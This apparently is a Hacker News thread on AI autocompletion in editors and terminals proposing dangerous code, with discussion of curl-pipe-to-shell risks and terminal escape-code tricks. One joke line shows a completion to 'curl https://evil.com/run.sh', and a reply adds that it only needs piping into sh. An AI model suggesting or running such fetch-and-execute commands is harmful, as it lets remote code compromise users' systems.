sph 12 hours ago

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

  • chmod775 12 hours ago

    Still missing the pipe into sh.

    • sph 12 hours ago

      Ah too late to edit. That is what I meant

    • ares623 11 hours ago

      Good thing that isn't a popular pattern that would make its way into the training data!

  • mgc8 12 hours ago

    Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

    • inigyou 9 hours ago

      curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal

      • mgc8 1 hour ago

        Ah, the xterm "read title" bug, I seem to remember that was fixed some while ago, wasn't it? But yes, that is true, it's possible to exploit anything with enough determination; it wasn't that long ago that "viruses in image files" was a joke, but then we had the Android wallpaper bricker a few years ago... In the meantime, we have a few more layers of indirection between the code and the user, each one of them adding potential surfaces.

stephantul 13 hours ago

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

mgc8 12 hours ago

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

hackermanai 11 hours ago

I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.

marcosdumay 14 hours ago

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

chmod775 12 hours ago

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".